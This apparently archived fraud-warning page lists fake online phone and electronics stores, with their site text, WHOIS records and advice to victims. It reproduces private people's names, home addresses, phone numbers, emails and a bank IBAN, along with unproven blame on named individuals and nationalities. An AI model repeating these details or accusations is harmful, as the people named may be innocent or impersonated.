The fraudulent website appears to be hosted by Godaddy.com. Therefore please send a report to abuse@godaddy.com. If you have sent money by Western Union and it hasn't been pick up yet, call Western UNion to halt the transfer. If you did a bank wire transfer, call the bank in Spain to freeze the receiving account, which will have been created with fake identification papers. Get assistance from your own bank if you need to.
e-phonehouse.com: The premier way to shop online
Who are we?
e-phonehouse.com is an store based in Carrer del Tigre 63-64, 08024, Barcelona, Spain.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy
Call our customer representative at: +34-697-564-822
Full Name : Andras Nagy
Bank Name : Caixa d'Estalvis de Sabadell
Bank Address : CL GARIGLIANO, 52-58
08290 , CERDANYOLA DEL VALLES , SPAIN
Account Number : 2059-0639-39-2101499972
IBAN : ES4820590639392101499972
Swift Code : CECAESMM059
This domain was referenced in an eBay auction. A buyer sent a payment to our paypal account, which apparently this company has given them in order to cause our PayPal account to be suspended. This is consistent with the three threatenting emails that we have received from the criminal who runs e-phonehouse.com and other websites used for these scams.
WHOIS details for domain "e-phonehouse.com":
Domain Name: E-PHONEHOUSE.COM
Registrar: GO DADDY SOFTWARE, INC.
Whois Server: whois.godaddy.com
Referral URL: http://registrar.godaddy.com
Name Server: WSC1.JOMAX.NET
Name Server: WSC2.JOMAX.NET
Status: REGISTRAR-LOCK
Updated Date: 20-sep-2005
Creation Date: 20-sep-2005
Expiration Date: 20-sep-2006
>>> Last update of whois database: Tue, 1 Nov 2005 15:08:10 EST <<<
Registrant:
Domains by Proxy, Inc.
DomainsByProxy.com
15111 N. Hayden Rd., Ste 160, PMB 353
Scottsdale, Arizona 85260
United States
Registered through: GoDaddy.com
Domain Name: E-PHONEHOUSE.COM
Created on: 20-Sep-05
Expires on: 20-Sep-06
Last Updated on: 20-Sep-05
Administrative Contact:
Private, Registration E-PHONEHOUSE.COM@domainsbyproxy.com
Domains by Proxy, Inc.
DomainsByProxy.com
15111 N. Hayden Rd., Ste 160, PMB 353
Scottsdale, Arizona 85260
United States
(480) 624-2599
Technical Contact:
Private, Registration E-PHONEHOUSE.COM@domainsbyproxy.com
Domains by Proxy, Inc.
DomainsByProxy.com
15111 N. Hayden Rd., Ste 160, PMB 353
Scottsdale, Arizona 85260
United States
(480) 624-2599
Domain servers in listed order:
WSC1.JOMAX.NET
WSC2.JOMAX.NET
Who are we?
Mobile-OnlineShop.com is an store based in Rambla 14, 08022, Barcelona, Spain.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy.
What does our system for you?
As a buyer, you are the beneficiary of our 5 - step process that postpones the order and shipp of the products ordered.You will also be highly protected against payment fraud, as all disadvantages resulting from credit card payment methods, such as fraudulent use by the prospective buyer, are eliminated.
This is yet another incarnation of the TransGlobal GSM / Euro GSM / e-phonehouse.com series of mobile phone scams run by criminals from Romania who are based in Spain. They take orders and cash but never deliver any goods. If you've been cheated report this to the police where you live.
The fraudulent website appears to be hosted by Godaddy.com. Therefore please send a report to abuse@godaddy.com. If you have sent money by Western Union and it hasn't been pick up yet, call Western Union to halt the transfer. If you did a bank wire transfer, call the bank in Spain to freeze the receiving account, which will have been created with fake identification papers. Get assistance from your own bank if you need to.
TeleGSM-Store.com: The premier way to shop online
Who are we?
TeleGSM-Store.com is an store based in Rambla 14, 08022, Barcelona, Spain.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy.
Contact Us
For tech Support and Questions
Call our customer representative at: +34-667-071-714
Domain registration details:
Domain Name: TELEGSM-STORE.COM
Registrar: GO DADDY SOFTWARE, INC.
Whois Server: whois.godaddy.com
Referral URL: http://registrar.godaddy.com
Name Server: PARK19.SECURESERVER.NET
Name Server: PARK20.SECURESERVER.NET
Status: REGISTRAR-LOCK
Updated Date: 24-oct-2005
Creation Date: 24-oct-2005
Expiration Date: 24-oct-2006
>>> Last update of whois database: Thu, 1 Dec 2005 02:29:58 EST <<<
Registrant:
Domains by Proxy, Inc.
DomainsByProxy.com
15111 N. Hayden Rd., Ste 160, PMB 353
Scottsdale, Arizona 85260
United States
Registered through: GoDaddy.com
Domain Name: TELEGSM-STORE.COM
Created on: 24-Oct-05
Expires on: 24-Oct-06
Last Updated on: 24-Oct-05
Administrative Contact:
Private, Registration TELEGSM-STORE.COM@domainsbyproxy.com
Domains by Proxy, Inc.
DomainsByProxy.com
15111 N. Hayden Rd., Ste 160, PMB 353
Scottsdale, Arizona 85260
United States
(480) 624-2599
Technical Contact:
Private, Registration TELEGSM-STORE.COM@domainsbyproxy.com
Domains by Proxy, Inc.
DomainsByProxy.com
15111 N. Hayden Rd., Ste 160, PMB 353
Scottsdale, Arizona 85260
United States
(480) 624-2599
Domain servers in listed order:
PARK19.SECURESERVER.NET
PARK20.SECURESERVER.NET
This scam appears connected to the "LocalGSM.com" scam.
Report any case of fraud to the local police. Inform the webhosting company if you have been defrauded by this site (contact: abuse@cyrusone.com).
Anamea.biz is an store based in Via San Gallo 10, 16100, Genova, Italia.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy.
Anamea Company
Via San Gallo 10
Genova 16100 Italia
Email: Info@Anamea.biz
Message headers:
Domain Name: ANAMEA.BIZ Domain ID: D10638245-BIZ Sponsoring Registrar: WILD WEST DOMAINS, INC. Sponsoring Registrar IANA ID: 440 Domain Status: clientDeleteProhibited Domain Status: clientRenewProhibited Domain Status: clientTransferProhibited Domain Status: clientUpdateProhibited Registrant ID: GODA-013432279 Registrant Name: Lawrence Zoet Registrant Organization: Lawrence Zoet Registrant Address1: 928-34th St SW Registrant City: Wyoming Registrant State/Province: Michigan Registrant Postal Code: 49509 Registrant Country: United States Registrant Country Code: US Registrant Phone Number: +1.6165312367 Registrant Email: digitaldinamoltd@yahoo.com Administrative Contact ID: GODA-213432279 Administrative Contact Name: Lawrence Zoet Administrative Contact Organization: Lawrence Zoet Administrative Contact Address1: 928-34th St SW Administrative Contact City: Wyoming Administrative Contact State/Province: Michigan Administrative Contact Postal Code: 49509 Administrative Contact Country: United States Administrative Contact Country Code: US Administrative Contact Phone Number: +1.6165312367 Administrative Contact Email: digitaldinamoltd@yahoo.com Billing Contact ID: GODA-313432279 Billing Contact Name: Lawrence Zoet Billing Contact Organization: Lawrence Zoet Billing Contact Address1: 928-34th St SW Billing Contact City: Wyoming Billing Contact State/Province: Michigan Billing Contact Postal Code: 49509 Billing Contact Country: United States Billing Contact Country Code: US Billing Contact Phone Number: +1.6165312367 Billing Contact Email: digitaldinamoltd@yahoo.com Technical Contact ID: GODA-113432279 Technical Contact Name: Lawrence Zoet Technical Contact Organization: Lawrence Zoet Technical Contact Address1: 928-34th St SW Technical Contact City: Wyoming Technical Contact State/Province: Michigan Technical Contact Postal Code: 49509 Technical Contact Country: United States Technical Contact Country Code: US Technical Contact Phone Number: +1.6165312367 Technical Contact Email: digitaldinamoltd@yahoo.com Name Server: DNS.BIZSITESERVICE.COM Name Server: DNS2.BIZSITESERVICE.COM Created by Registrar: WILD WEST DOMAINS, INC. Last Updated by Registrar: WILD WEST DOMAINS, INC. Domain Registration Date: Fri Aug 12 16:05:02 GMT 2005 Domain Expiration Date: Sat Aug 11 23:59:59 GMT 2007 Domain Last Updated Date: Fri Aug 12 16:05:08 GMT 2005
This is yet another incarnation of the TransGlobal GSM / Euro GSM / e-phonehouse.com series of mobile phone scams run by criminals from Romania who are based in Spain. They take orders and cash but never deliver any goods. If you've been cheated report this to the police where you live.
The fraudulent website appears to be hosted by Godaddy.com. Therefore please send a report to abuse@godaddy.com.
If you have sent money by Western Union and it hasn't been pick up yet, call Western UNion to halt the transfer. If you did a bank wire transfer, call the bank in Spain to freeze the receiving account, which will have been created with fake identification papers. Get assistance from your own bank if you need to.
TeleGSM-Store.com: The premier way to shop online
Who are we?
TeleGSM-Store.com is an store based in Rambla 14, 08022, Barcelona, Spain.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy.
Call our customer representative at: +34-667-071-714
Domain registration details:
Domain Name: TELEGSM-STORE.COM
Registrar: GO DADDY SOFTWARE, INC.
Whois Server: whois.godaddy.com
Referral URL: http://registrar.godaddy.com
Name Server: PARK19.SECURESERVER.NET
Name Server: PARK20.SECURESERVER.NET
Status: REGISTRAR-LOCK
Updated Date: 24-oct-2005
Creation Date: 24-oct-2005
Expiration Date: 24-oct-2006
>>> Last update of whois database: Thu, 17 Nov 2005 15:05:41 EST <<<
Registrant:
Domains by Proxy, Inc.
DomainsByProxy.com
15111 N. Hayden Rd., Ste 160, PMB 353
Scottsdale, Arizona 85260
United States
Registered through: GoDaddy.com
Domain Name: TELEGSM-STORE.COM
Created on: 24-Oct-05
Expires on: 24-Oct-06
Last Updated on: 24-Oct-05
Administrative Contact:
Private, Registration TELEGSM-STORE.COM@domainsbyproxy.com
Domains by Proxy, Inc.
DomainsByProxy.com
15111 N. Hayden Rd., Ste 160, PMB 353
Scottsdale, Arizona 85260
United States
(480) 624-2599
Technical Contact:
Private, Registration TELEGSM-STORE.COM@domainsbyproxy.com
Domains by Proxy, Inc.
DomainsByProxy.com
15111 N. Hayden Rd., Ste 160, PMB 353
Scottsdale, Arizona 85260
United States
(480) 624-2599
Domain servers in listed order:
PARK19.SECURESERVER.NET
PARK20.SECURESERVER.NET
GSM-MarketPlace / phones-marketplace.com
gsm-marketplace.com / phones-marketplace.com is the same scam as TeleGSM-Store.com / TransGlobal GSM / Euro GSM / e-phonehouse.com. This series of mobile phone scams are run by criminals from Romania who are based in Spain. They take orders and cash but never deliver any goods. If you've been cheated report this to the police where you live.
Phones-Market Place
Best services for our customers
Who are we?
GSM-MarketPlace is a store based in Rambla 14, 08022, Barcelona, Spain.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy.
For tech Support and Questions
Call our customer representative at: +34-610-259-087
Message headers:
Phones ATTN: PHONES-MARKETPLACE.COM c/o Network Solutions P.O. Box 447 Herndon, VA. 20172-0447 Domain Name: PHONES-MARKETPLACE.COM Administrative Contact, Technical Contact: Phones qu6qr2bb62f@networksolutionsprivateregistration.com ATTN: PHONES-MARKETPLACE.COM c/o Network Solutions P.O. Box 447 Herndon, VA 20172-0447 570-708-8780 Record expires on 24-Jan-2007. Record created on 24-Jan-2006. Database last updated on 21-Feb-2006 19:48:50 EST. Domain servers in listed order: NS19.WORLDNIC.COM 216.168.228.12 NS20.WORLDNIC.COM 216.168.225.150 Domain Name: PHONES-MARKETPLACE.COM Registrar: NETWORK SOLUTIONS, LLC. Whois Server: whois.networksolutions.com Referral URL: http://www.networksolutions.com Name Server: NS19.WORLDNIC.COM Name Server: NS20.WORLDNIC.COM Status: REGISTRAR-LOCK Updated Date: 24-jan-2006 Creation Date: 24-jan-2006 Expiration Date: 24-jan-2007
Here is their other domain:
Message headers:
Domain Name.......... gsm-marketplace.com Creation Date........ 2006-01-21 Registration Date.... 2006-01-21 Expiry Date.......... 2007-01-21 Organisation Name.... arnold herbstein Organisation Address. c / mas 12 Organisation Address. Organisation Address. Barcelona Organisation Address. 08018 Organisation Address. 00 Organisation Address. SPAIN Admin Name........... arnold herbstein Admin Address........ c / mas 12 Admin Address........ Admin Address........ Barcelona Admin Address........ 08018 Admin Address........ 00 Admin Address........ SPAIN Admin Email.......... arnold_herbstein@yahoo.es Admin Phone.......... 664 326 784 Admin Fax............ Tech Name............ Verio Hostmaster Tech Address......... 5050 Blue Lake Dr. Tech Address......... Tech Address......... Boca Raton Tech Address......... 33431 Tech Address......... FL Tech Address......... UNITED STATES Tech Email........... hostmaster@VERIO-HOSTING.COM Tech Phone........... 888-663-6648 Tech Fax............. 888-663-6655 Name Server.......... ns19b.nameservers.net Name Server.......... ns19a.nameservers.net Domain Name: GSM-MARKETPLACE.COM Registrar: MELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE Whois Server: whois.melbourneit.com Referral URL: http://www.melbourneit.com Name Server: NS19A.NAMESERVERS.NET Name Server: NS19B.NAMESERVERS.NET Status: ACTIVE Updated Date: 20-jan-2006 Creation Date: 20-jan-2006 Expiration Date: 20-jan-2007
OnlineGSM Marketplace.com is an store based in Carrer del Tigre 63-64, 08024, Barcelona, Spain.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy.
Message headers:
Domain Name: ONLINE-GSM-MARKETPLACE.COM Registrar: AAAQ.COM, INC. Whois Server: whois.aaaq.com Referral URL: http://www.aaaq.com Name Server: NS.WAY2HOST.COM Name Server: NS2.WAY2HOST.COM Status: REGISTRAR-LOCK Updated Date: 16-mar-2006 Creation Date: 16-mar-2006 Expiration Date: 16-mar-2007 Domain Name: online-gsm-marketplace.com Registrar: AAAQ.COM Whois Server: whois.aaaq.com Referral URL: http://www.aaaq.com Name Server: ns.way2host.com Name Server: ns2.way2host.com Status: ACTIVE Updated Date 2006-03-16 Creation Date: 2006-03-16 Expiration Date: 2007-03-16
This is a fake electronics store probably run by criminals from Romania. It's connected to the fake Escrow company onlineshipping-worldwide.org. Apart from being used in the same scam, both domains are hosted by the same webhosting company.
WHOIS details for domain "mobile-shop-inc.net":
Domain Name: MOBILE-SHOP-INC.NET Registrar: ABACUS AMERICA, INC. DBA NAMES4EVER Whois Server: whois.names4ever.com Referral URL: http://www.names4ever.com Name Server: NS2.ABAC.COM Name Server: NS1.ABAC.COM Status: ACTIVE Updated Date: 06-oct-2005 Creation Date: 06-oct-2005 Expiration Date: 06-oct-2007 The Registry database contains ONLY .COM, .NET, .EDU domains and Registrars. The information below is provided by NAMES4EVER for personal use only. NAMES4EVER does not guarantee its accuracy. By submitting a query, you agree that you will use this information only for lawful purposes and that; under no circumstances will you use this information from NAMES4EVER to: (a) allow, enable, or otherwise support the transmission of mass commercial advertising or solicitations via e-mail; (b) enable high volume, automated, electronic processes that apply to NAMES4EVER and (c) sell the information. NAMES4EVER reserves the right to modify these terms at any time. By submitting this query, you agree to abide by this policy by NAMES4EVER. NAMES4EVER is ICANN accredited Registrar for .com .org and .net domain names. Domain name: mobile-shop-inc.net Registrant: t a davison (WGBFK) facultatesb@yahoo.com 15 deanscroft road bournemouth, bournemouth bh10 6jp United Kingdom Phone: (0797)7988097 x Administrative Contact: t a davison (GM4DR) facultatesb@yahoo.com 15 deanscroft road bournemouth, bournemouth bh10 6jp United Kingdom Phone: (0797)7988097 x Technical Contact: t a davison (WGBFK) facultatesb@yahoo.com 15 deanscroft road bournemouth, bournemouth bh10 6jp United Kingdom Phone: (0797)7988097 x Billing Contact: t a davison (B9YMS) facultatesb@yahoo.com 15 deanscroft road bournemouth, bournemouth bh10 6jp United Kingdom Phone: (0797)7988097 x Record last updated on 2005-10-06 00:00:00 Record created on 2005-10-06 00:00:00 Record expires on 2007-10-06 00:00:00 Domain servers in listed order: ns1.abac.com 216.55.128.4 ns2.abac.com Registration Service Provider: AplusNet(APRO) apro-n4e-racc@abac.com http://www.aplus.net Registrar: NAMES4EVER, http://www.names4ever.com
This fake company claims to have been around for seven years, but it's domain is only one month old. The (fake) postal address is in London, but the phone number is no London number. The domain is registered using a (fake) postal address in Colorado, USA.
smart-mobile-phones Ltd. is a company of limited size with an open market in Europe and US. We take pride of having factory prices on several selected products that we supply to our customers.
With a history of 7 years behind us we always stride to bring you the best products at the lowest prices on all the internet. But you don't have to just take our word for it. Visit the products section and see for yourself!
orders@smart-mobile-phones.com
Darrn Ronsworth- Sales Manager
12 ROTHERHITHE STREET
London , SE16 5HW
UNITED KINGDOM
Phone: (+44)7891554239
Fax : (+44)2079-002-566
WHOIS details for domain "smart-mobile-phones.com":
Domain Name: SMART-MOBILE-PHONES.COM
Registrar: TUCOWS INC.
Whois Server: whois.opensrs.net
Referral URL: http://domainhelp.tucows.com
Name Server: NS1.NETFIRMS.COM
Name Server: NS2.NETFIRMS.COM
Status: REGISTRAR-LOCK
Updated Date: 09-oct-2005
Creation Date: 09-oct-2005
Expiration Date: 09-oct-2006
>>> Last update of whois database: Wed, 9 Nov 2005 15:10:41 EST <<<
Registrant:
smart
380 CLAY AVENUE
CRAIG, CO 81625
US
Domain name: SMART-MOBILE-PHONES.COM
Administrative Contact:
MIESNER, LORETTA manuseller@yahoo.com
380 CLAY AVENUE
CRAIG, CO 81625
US
8004234242
Technical Contact:
Manager, Domains support@netfirms.com
5160 Yonge St
1800
Toronto, ON M2N 6L9
CA
+1.4166612100 Fax: +1.4166610700
Registration Service Provider:
Netfirms, Inc., support@netfirms.com
+1.4166612100
This company may be contacted for domain login/passwords,
DNS/Nameserver changes, and general domain support questions.
Registrar of Record: TUCOWS, INC.
Record last updated on 09-Oct-2005.
Record expires on 09-Oct-2006.
Record created on 09-Oct-2005.
Domain servers in listed order:
NS1.NETFIRMS.COM 64.34.74.221
NS2.NETFIRMS.COM 66.244.253.14
Domain status: REGISTRAR-LOCK
Extra Mall Inc. / Electrowork / extra-mall.com (created=2005-10-27)
This fake store claims to be based in Portugal, but the domain registration lists an individual in the Netherlands and the site is less than two weeks old. This is a reincarnation of "electrolucs.com", a site which is now offline. The sites look like clones of each other. "electrolucs.com" included this clause, which is found on many fake electronics store sites:
The minimum order is 500 EUR.
Shipping is free for orders over 1000 EUR.
Contact details for "Extra Mall Inc.":
Extra Mall Inc.
rio de pablos 35
Lisbon 1600 PT
office@extra-mall.com
http://www.Extra-Mall.com
Message headers:
Domain Name: EXTRA-MALL.COM Registrar: ABACUS AMERICA, INC. DBA NAMES4EVER Whois Server: whois.names4ever.com Referral URL: http://www.names4ever.com Name Server: NS2.ABAC.COM Name Server: NS1.ABAC.COM Status: ACTIVE Updated Date: 27-oct-2005 Creation Date: 27-oct-2005 Expiration Date: 27-oct-2006 >>> Last update of whois database: Wed, 9 Nov 2005 15:10:41 EST <<< Domain name: extra-mall.com Registrant: Marie-Christine Franken (DJ6KJ) extramall@yahoo.com Nieuwendijk 32F Someren, Someren 5712EM Netherlands Phone: (248)9890023 x Administrative Contact: Marie-Christine Franken (L6BPS) extramall@yahoo.com Nieuwendijk 32F Someren, Someren 5712EM Netherlands Phone: (248)9890023 x Technical Contact: Marie-Christine Franken (DJ6KJ) extramall@yahoo.com Nieuwendijk 32F Someren, Someren 5712EM Netherlands Phone: (248)9890023 x Billing Contact: Marie-Christine Franken (8TSBC) extramall@yahoo.com Nieuwendijk 32F Someren, Someren 5712EM Netherlands Phone: (248)9890023 x Record last updated on 2005-10-27 00:00:00 Record created on 2005-10-27 00:00:00 Record expires on 2006-10-27 00:00:00 Domain servers in listed order: ns1.abac.com 216.55.128.4 ns2.abac.com Registration Service Provider: AplusNet(APRO) apro-n4e-racc@abac.com http://www.aplus.net Registrar: NAMES4EVER, http://www.names4ever.com
The site uses a London, UK postal address but no London phone number. The fax numbers is the same as the phone number. They use a fake escrow company to receive payments. The site states "The minimum order is 500 EUR" even though the company is supposedly based in a country where the legal currency is Pound Sterling.
Averahty Co Uk
176 Stratton St., London, UK, W1J 9LL United Kingdom
Tel: 44-808-208-3557 Fax: 44-808-208-3557
Domain registration details:
Domain Name:
averahty.co.uk
Registrant:
Michelle Lynn Benton
Registrant's Address:
4709 Pershing Ave
Fort Worth
Tx
7610 7
US
Registrant's Agent:
Iomart Ltd [Tag = INTERNETTERS]
URL: http://www.iomart.com
Relevant Dates:
Registered on: 17-Apr-2005
Renewal Date: 17-Apr-2007
Registration Status:
Registered until renewal date.
Name servers listed in order:
ns4.easyspace.com 84.22.161.11
ns5.easyspace.com 62.128.193.201
Tradeisafe Net / tradeisafe.net
This fake electronics company claims to be based in London, UK. The domain tradeisafe.net was registered on 2005-06-13 using an address in Bristol, UK and is hosted on a server in Norway. The postal address on the website is fake. For example, the post code doesn't match the street address.
There is only one phone number for both fax and phone and it's not a London number.
If you have been defrauded, report it to the police where you live and to the webhosting company (abuse@activeisp.com)
Tradeisafe Net.
54 High Holborn,
London,
uk WC1V 6TP
United Kingdom
Tel: 44-87-0912-6744
Fax: 44-87-0912-6744
Mr John Parker
Sales Manager
Tel: 44-87-0912-6744
Fax: 44-87-0912-6744
E-mail: sales@tradeisafe.net
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Web site: http://www.tradeisafe.net/
They use the following postal address when requesting paymenty by Western Union:
Claudio Catani
Address:25 Old Broad Street,
City:London,
UK,
Postal Code:EC2N 1HN
United Kingdom
WHOIS details for domain "tradeisafe.net":
Request: tradeisafe.net from whois.active24.com:43 [cached Fri Sep 16 11:00:00 2005 UTC] Whois Server v1.10 build 20050508123934 ADRS (C)2003-2005 Active 24 ASA Domain Information =================== Domain.......: TRADEISAFE.NET (DOM-76106) Status.......: LIVE Amended......: 2005-06-13 15:58:51 Created......: 2005-06-13 15:58:51 Expires......: 2006-06-13 09:58:51 Registrar....: REGISTRAR-1 Organisation Contact ======================= ID...........: ORG-122749 Name.........: MR A HAMMUDA PostAddress..: 27 Comyn Walk PostCode.....: BS16 2JL PostArea.....: Bristol Country......: UK Phone........: +44.07939097701 Fax..........: Email........: jonkaole@yahoo.com Administrative Contact ======================= ID...........: UC-122750 Name.........: MR A HAMMUDA PostAddress..: 27 Comyn Walk PostCode.....: BS16 2JL PostArea.....: Bristol Country......: UK Phone........: +44.07939097701 Fax..........: Email........: jonkaole@yahoo.com Technical Contact ======================= ID...........: SYS-2509 Name.........: Active 24 ASA - Registry Department PostAddress..: Fjordalleen 16, Postboks 1519, Vika PostCode.....: N-0117 PostArea.....: Oslo Country......: Norway Phone........: +47 21 93 30 00 Fax..........: +47 21 93 30 01 Email........: hostmaster@activeisp.com Billing Contact ======================= ID...........: SYS-2508 Name.........: Active 24 ASA - Billing Department PostAddress..: Fjordalleen 16, P.O. box 1519 Vika PostCode.....: N-0117 PostArea.....: Oslo Country......: Norway Phone........: +47 21 93 30 00 Fax..........: +47 21 93 30 01 Email........: billing@activeisp.com Name Servers ======================= DNS20.ACTIVEISP.COM (NS-1) 213.188.128.38 DNS21.ACTIVEISP.COM (NS-2) 213.180.68.231 Active 24 is the brand for Active ISP ASA.
If you have been defrauded, report it to the police where you live and to the webhosting company (abuse@activeisp.com)
Perfect Selling
50 Stratton St., London, UK, W1J 8LL United Kingdom
Fax: 44-20-7681-2930
Miss Chloe Devon
Sales Manager
Tel: 44-20-7681-2930
Fax: 44-20-7681-2930
E-mail: sales@perfectselling.net
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Web site: http://www.perfectselling.net
Domain registration details:
Domain Name: PERFECTSELLING.NET Registrar: ACTIVE 24 ASA Whois Server: whois.active24.com Referral URL: http://www.active24.com Name Server: DNS20.ACTIVEISP.COM Name Server: DNS21.ACTIVEISP.COM Status: ACTIVE Updated Date: 02-may-2005 Creation Date: 02-may-2005 Expiration Date: 02-may-2006 >>> Last update of whois database: Wed, 9 Nov 2005 15:10:41 EST <<< Whois Server v1.10 build 20050508123934 ADRS (C)2003-2005 Active 24 ASA Domain Information =================== Domain.......: PERFECTSELLING.NET (DOM-74369) Status.......: LIVE Amended......: 2005-05-02 19:34:42 Created......: 2005-05-02 19:34:42 Expires......: 2006-05-02 13:34:42 Registrar....: REGISTRAR-1 Organisation Contact ======================= ID...........: ORG-119522 Name.........: K P MARTIN PostAddress..: 61 HYTHE ROAD PostCode.....: IP26 4PU PostArea.....: METHWOLD Country......: UK Phone........: +44.0184282189 Fax..........: Email........: kpmartink@yahoo.co.uk Administrative Contact ======================= ID...........: UC-119523 Name.........: K P MARTIN PostAddress..: 61 HYTHE ROAD PostCode.....: IP26 4PU PostArea.....: METHWOLD Country......: UK Phone........: +44.0184282189 Fax..........: Email........: kpmartink@yahoo.co.uk Technical Contact ======================= ID...........: SYS-2509 Name.........: Active 24 ASA - Registry Department PostAddress..: Fjordalleen 16, Postboks 1519, Vika PostCode.....: N-0117 PostArea.....: Oslo Country......: Norway Phone........: +47 21 93 30 00 Fax..........: +47 21 93 30 01 Email........: hostmaster@activeisp.com Billing Contact ======================= ID...........: SYS-2508 Name.........: Active 24 ASA - Billing Department PostAddress..: Fjordalleen 16, P.O. box 1519 Vika PostCode.....: N-0117 PostArea.....: Oslo Country......: Norway Phone........: +47 21 93 30 00 Fax..........: +47 21 93 30 01 Email........: billing@activeisp.com Name Servers ======================= DNS20.ACTIVEISP.COM (NS-1) 213.188.128.38 DNS21.ACTIVEISP.COM (NS-2) 213.180.68.231 Active 24 is the brand for Active ISP ASA.
CompCel Com.
38 Grosvenor Street ,
London,
UK
W1K 4AA
United Kingdom
Tel: 44-808-208-3557
Fax: 44-808-208-3557
The minimum order is 500 EUR.
Shipping is free.
Registration details:
Domain Name: COMPCEL.COM
Registrar: INTERNETTERS LIMITED
Whois Server: whois.internetters.co.uk
Referral URL: http://www.internetters.co.uk
Name Server: NS4.EASYSPACE.COM
Name Server: NS5.EASYSPACE.COM
Status: REGISTRAR-LOCK
Updated Date: 19-may-2005
Creation Date: 19-may-2005
Expiration Date: 19-may-2006
>>> Last update of whois database: Wed, 9 Nov 2005 15:10:41 EST <<<
Registrant:
s pervaz
37 Cromer Avenue
Burnley, BB10 3HA
UK
Domain name: COMPCEL.COM
Administrative Contact:
pervaz, s umustumust@yahoo.com
37 Cromer Avenue
Burnley, BB10 3HA
UK
+44.8700500303 Fax: +44.1419317001
Technical Contact:
Master, Host reg-tucows@easyspace.com
Lister Pavilion
Kelvin Campus
West of Scotland Science Park
Glasgow, Scotland G20 0SP
UK
+44.8707555066 Fax: +44.1419316785
Registrar of Record: Internetters, http://www.internetters.co.uk
Record last updated on 19-May-2005.
Record expires on 19-May-2006.
Record created on 19-May-2005.
Domain servers in listed order:
NS4.EASYSPACE.COM 84.22.161.11
NS5.EASYSPACE.COM 62.128.193.201
Safeitrade Com.
Old Broad Street,
London,
uk
EC2N 1HN
United Kingdom
Tel: 44-87-0912-1055
Fax: 44-87-0912-1055
The minimum order is 500 EUR.
Shipping is free.
Message headers:
Domain Name: SAFEITRADE.COM Registrar: ACTIVE 24 ASA Whois Server: whois.active24.com Referral URL: http://www.active24.com Name Server: DNS20.ACTIVEISP.COM Name Server: DNS21.ACTIVEISP.COM Status: ACTIVE Updated Date: 19-may-2005 Creation Date: 19-may-2005 Expiration Date: 19-may-2006 >>> Last update of whois database: Wed, 9 Nov 2005 15:10:41 EST <<< Whois Server v1.10 build 20050508123934 ADRS (C)2003-2005 Active 24 ASA Domain Information =================== Domain.......: SAFEITRADE.COM (DOM-75308) Status.......: LIVE Amended......: 2005-05-19 18:31:41 Created......: 2005-05-19 18:31:41 Expires......: 2006-05-19 12:31:41 Registrar....: REGISTRAR-1 Technical Contact ======================= ID...........: SYS-2509 Name.........: Active 24 ASA - Registry Department PostAddress..: Fjordalleen 16, Postboks 1519, Vika PostCode.....: N-0117 PostArea.....: Oslo Country......: Norway Phone........: +47 21 93 30 00 Fax..........: +47 21 93 30 01 Email........: hostmaster@activeisp.com Billing Contact ======================= ID...........: SYS-2508 Name.........: Active 24 ASA - Billing Department PostAddress..: Fjordalleen 16, P.O. box 1519 Vika PostCode.....: N-0117 PostArea.....: Oslo Country......: Norway Phone........: +47 21 93 30 00 Fax..........: +47 21 93 30 01 Email........: billing@activeisp.com Name Servers ======================= DNS20.ACTIVEISP.COM (NS-1) 213.188.128.38 DNS21.ACTIVEISP.COM (NS-2) 213.180.68.231 Active 24 is the brand for Active ISP ASA.
Fake electronics store in the UK. Run by the same gang as "Tradeisafe Net / tradeisafe.net" and "Averahty Co Uk / averahty.co.uk". The sites look strikingly similar. Same 500 EUR minimum order, same use of a 44-808 phone number. The billing contact for the sitye mentions webhoster "Active 24", the same company used for the "Ukites.com" fake UK electronics store, which also had a 500 EUR minimum order, which indicates these sites are all part of the same scam by the same gang. Tradeisafe Net is also hosted by this company.
If you have been defrauded, report it to the police where you live and to the webhosting company (abuse@activeisp.com)
The minimum order is 500 EUR.
Shipping is free.
Tax free inside EU.
Contact Info
Faroon Com.
7 Curtain Road,
London,
UK
EC2A 3LT
United Kingdom
Tel: 44-808-208-9879
Fax: 44-20-7990-7583
Message headers:
Domain Name: FAROON.COM Registrar: ACTIVE 24 ASA Whois Server: whois.active24.com Referral URL: http://www.active24.com Name Server: DNS20.ACTIVEISP.COM Name Server: DNS21.ACTIVEISP.COM Status: ACTIVE Updated Date: 18-oct-2005 Creation Date: 18-oct-2005 Expiration Date: 18-oct-2006 >>> Last update of whois database: Wed, 9 Nov 2005 15:10:41 EST <<< Whois Server v1.10 build 20050508123934 ADRS (C)2003-2005 Active 24 ASA Domain Information =================== Domain.......: FAROON.COM (DOM-86022) Status.......: LIVE Amended......: 2005-10-18 14:22:41 Created......: 2005-10-18 14:22:41 Expires......: 2006-10-18 08:22:41 Registrar....: REGISTRAR-1 Organisation Contact ======================= ID...........: ORG-139573 Name.........: shakeel farooq PostAddress..: 75 temple street PostCode.....: BB9 0TH PostArea.....: Nelson Country......: GB Phone........: +44.2078761425 Fax..........: Email........: faaaarooq@yahoo.com Administrative Contact ======================= ID...........: UC-139574 Name.........: Shakeel Farooq PostAddress..: 75 temple street PostCode.....: BB9 0TH PostArea.....: Nelson Country......: GB Phone........: +44.2078761425 Fax..........: Email........: faaaarooq@yahoo.com Technical Contact ======================= ID...........: SYS-2509 Name.........: Active 24 ASA - Registry Department PostAddress..: Fjordalleen 16, Postboks 1519, Vika PostCode.....: N-0117 PostArea.....: Oslo Country......: Norway Phone........: +47 21 93 30 00 Fax..........: +47 21 93 30 01 Email........: hostmaster@activeisp.com Billing Contact ======================= ID...........: SYS-2508 Name.........: Active 24 ASA - Billing Department PostAddress..: Fjordalleen 16, P.O. box 1519 Vika PostCode.....: N-0117 PostArea.....: Oslo Country......: Norway Phone........: +47 21 93 30 00 Fax..........: +47 21 93 30 01 Email........: billing@activeisp.com Name Servers ======================= DNS20.ACTIVEISP.COM (NS-1) 213.188.128.38 DNS21.ACTIVEISP.COM (NS-2) 213.180.68.231 Active 24 